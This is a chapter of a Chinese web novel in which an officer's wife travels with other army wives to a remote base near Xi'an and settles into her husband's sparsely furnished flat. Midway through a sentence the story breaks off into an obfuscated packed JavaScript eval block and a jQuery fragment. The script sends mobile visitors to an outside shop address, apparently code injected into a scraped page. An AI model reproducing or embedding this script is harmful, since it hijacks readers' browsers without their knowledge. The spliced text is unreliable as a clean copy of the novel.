第一二零章
符伊年直到进了军营才明白为什么祝镕别的什么都没要求她带,只要求多带些饺子来了。
他们现在所在的部队,据说是为了应对新的国际关系而新组建的,一切都是从零开始,甚至连营房都是部队进驻前不久才建完的,有的房间还散发着油漆味。
而且,部队说是在西安,其实是在离西安很远的山沟沟里,坐车都坐好久的。
出发之前,祝镕打电话告诉符伊年,说他要春节值班,不能去不能亲自到火车站接她,“不过到时候还有其他的军嫂一起过来,部队在火车站有专车接,去接站的是参谋长,你跟着车一起来军营就好。”
符伊年自然只能答应下来。
清晨从京城坐火车出发,中午的时候到达西南,又等了等其他的军嫂,等人齐了才开车。
这一趟一共有五个军嫂,除了符伊年,其他四个军嫂要么是带着孩子来的,要么是怀着孕来的,而且每个人都提了至少三个行李。
上车的时候她们看到了符伊年的双肩包和拉杆行李箱,都觉得十分方便,双肩包可以解放双手,拉杆行李箱拖着走就行,方便又轻快。
“妹子,你这包和箱子,多少钱呐?”问话的军嫂大概三十多岁,姓韩,带着一对龙凤胎,穿着打扮看起来也挺时髦,据她自己说,她在老家开了个早点铺子,赚了些小钱。
符伊年据实以告,“双肩包不贵,十几块钱的有几十块钱的也有,拉杆行李箱是我家亲戚从……港城捎回来的,这个有点贵,一百多了。”
其实这只拉杆行李箱是柳旻帮她从国外带回来的,而且还不是后世的那种万向轮,但是国内仍然还没有售卖,至少京城还没有,但是又不好提有海外亲戚,只能谎称“港城亲戚”了。
韩军嫂听了,咂咂舌,“还行,买两个书包背着给孩子上学也挺好。”
符伊年立刻点头,“是啊,单肩包容易把肩膀压成高低肩的。”
这话立刻得到其他军嫂的赞同,尤其另外两个带着大孩子的军嫂,都说早就发现孩子肩膀一边高一边低,竟然从来没有想过是书包的问题,都说回去要去买双肩包给孩子背着。
于是话匣子就此拉开,大家有了话题可谈,彼此自我介绍了一番,五个军嫂里符伊年年纪最小,然后就是那个怀孕的军嫂,剩下三个都是结婚十年以上的。
不过,几位军嫂的爱人里头,祝镕的职位不算最低,他是一团团长,韩军嫂的爱人是二团团长,另外两位年长的嫂子的爱人一位是师参谋长,一位是副师长,只有怀孕军嫂的爱人是营长。
大家互相认识了,也有了话题聊,气氛就不再尴尬、生疏,而最开始开口那位韩军嫂却很少再说话,多数时候在照顾自己的一对龙凤胎。
符伊年跟着聊了一会儿天,打了个呵欠闭上眼睛开始假寐,竟然真的慢慢睡着了。
一觉醒来,符伊年发现天已经黑了,低头看了看手表,已经是晚上七点半了。车窗外夜幕沉沉,符伊年脑门贴着车玻璃往外看,只看得见一重一重的山和密密的树林,树枝被萧萧北风吹动着剧烈摇动。
再转头看看其他几位军嫂和小朋友们,也都昏昏欲睡,身子随着车子晃动而摇摆。
符伊年起身走到车前轻声询问司机师傅,“同志,还有多久到啊?”
司机眼睛一直盯着前路,“快了,半个多小时吧。”
符伊年丝毫不觉得惊讶,她们中午一点钟不到从火车站出发,已经走了六个多小时,相对来说半小时还真的算“快”呢。
走回后面的车厢,符伊年将几位还昏睡着的军嫂叫醒,“嫂子们,醒醒,还有半个小时就到了,清醒一下,别一会儿下了车吹风受凉。”
大人还好,抵抗力强一些,但是这些军嫂可都是带着孩子来的,尤其其中还有个孕妇,符伊年作为唯一一个没有负累的,当然要多承担着些。
几位军嫂被符伊年喊醒,又各自把自己的孩子叫醒,喝水的喝水,穿衣服的穿衣服,等全都清醒了,车子也驶入了军营大门。
车子在家属楼前停下,大家鱼贯下车,车外面已经有几个人在等着了,符伊年看到参谋长和副师长的孩子喊着“爸爸”分别向两个中年军官跑去,另外两个军人也朝韩军嫂和怀孕军嫂走去。
只剩了她一个人站在原地。
符伊年倒没觉得有什么,来之前祝镕说了嘛,他今天要值班,所以也没有失落或者失望的情绪,等到司机帮忙把行李箱拿下来,她整理下背包就打算提着行李上楼。
“嫂子!”这时,一个年轻士兵走了过来,对她敬了一个军礼,“是符伊年嫂子吗?我是祝镕祝团长的警卫员小王,团长在值班,不能亲自过来接您,派我过来接您。”
也是这个时候,一旁和家人亲热的参谋长和副师长也走了过来,他们先同符伊年握手,然后自我介绍,参谋长姓李,副师长也姓王,两人分别对符伊年表示了欢迎,然后再对祝镕没能亲自来接表示歉意,“一团政委还没到位,小祝一人身兼二职,工作繁忙,怠慢了家属,还希望家属见谅啊。”
对于副师长和参谋长的客气,符伊年是很意外的,但是此时不是深究“理解的,军人嘛,上交国家了就不由自己了,两位领导放心,家属不仅理解,也十分支持。”
以后小规模小范围的冲突摩擦虽然还有,但是国际社会的主流是和平与发展,尤其像祝镕这样的高级军官,轻易不会再上前线了,符伊年真的放心的很,所以这话她也就没有心理负担地说了出来。
寒暄过后,众人互相告别,各自回家,符伊年也由警卫员小王引导着,去了祝镕的宿舍。
小王帮符伊年把行李提到家门口,钥匙交给她后就离开了,符伊年道了谢并从双肩包里拿出两盒糕点送给他,“没带什么贵重物品,这个是京市特产,你拿回去尝一尝。”
小王很是惊喜,推辞不过后接下来,开心的走了。
祝镕住在家属院一号楼的四层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659192|131614||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一套八十多平的两居室,符伊年用钥匙开了门进屋,屋子并没有清冷之感,而且因为集中供暖,不用在屋里烧炉子,所以屋子不仅温暖而且整洁干净。
很干净,什么都没有的那种干净——整个房子八十几平,两个卧室一个客厅,只有最基本的家具:一张床、一个高低柜和一套桌椅,其他什么都没有,连张沙发都没有,更别说家用电器了。
符伊年站在主卧门口瞠目结舌,过了好一会儿才找回了思维,这都是过得什么日子啊?
后来符伊年才知道,祝镕来到这里半年,因为政委还没到位,他基本上身兼二职,忙得很,大部分时间都是住在办公室的套间里,这房子半年了也没住上超过十回,原本只有床的,那高低柜和桌椅还是因为符伊年要来才添置的。
警卫员小王说了,祝镕要值班一晚上,所以符伊年没打算等祝镕回来,她将行李整理了一下,衣服该挂起来的挂起来,带来的烟酒糖果糕点之类的年货放到桌子下面的柜子里。
还有最重要的冻饺子,饺子冻的很结实,都是皮薄馅大的元宝饺,姑婆用一只装面粉的布袋子,装了两百个,幸好这时候的火车还没有空调,不然好几个小时的路程,这些饺子早就化掉了。
符伊年在窗口看了看,这里自然没有化工厂家属院的那种室外吊篮,她在房子里找了找,发现厨房虽然没有米面粮油,但是好歹有碗筷,于是就拿了支筷子,将绑着布袋的绳子的另外一头系在筷子中间,布袋放在外面窗台上,筷子挂在屋子里,如此,绳子既不妨碍关窗,饺子也能冻住。
收拾完一切,符伊年就去洗漱然后上床睡觉了,甚至没有反锁房门——这里可是军营,全国最安全的地方了。
祝镕事第二天清早回来的,回到时符伊年还在睡着,整个人睡成了一个“大”字型,可见她安全感十足。
祝镕在床前站着看了一会儿,然后才轻手轻脚地去卫生间洗漱,然后才带着一身水汽上了床。
虽然祝镕的动作已经尽可能的轻,但还是将符伊年惊动了,她猛然一睁眼,刚好看到躺下后的祝镕的脸,“你怎么回来了?”
祝镕愣了一下,然后意识到她应该是睡糊涂了,还以为自己在京城四合院呢,怕她走了困,祝镕没有详细解释,只是“嗯”了一声,抬手将人往自己怀里搂了一下,拍拍后背,“好了,接着睡吧。”
符伊年嘟哝了一句什么,很快重新睡去。
符伊年再次醒来时天光已经大亮,一睁眼就是祝镕结实的胸膛,她眨眨眼,思绪逐渐回笼,总算记起来自己在哪里。
也不知道祝镕是什么时候回来的,睡了有多久。她扭头看了眼窗户,窗帘不算遮光,能看出外面已经天光大亮。北方冬天天亮的晚,这种亮度起码应该是早上八点钟了。
“不睡了吗?”身后突然传来祝镕的声音,符伊年立即回头,刚好与祝镕对视。
祝镕:“不睡的话,我们来做点别的?”
符伊年:……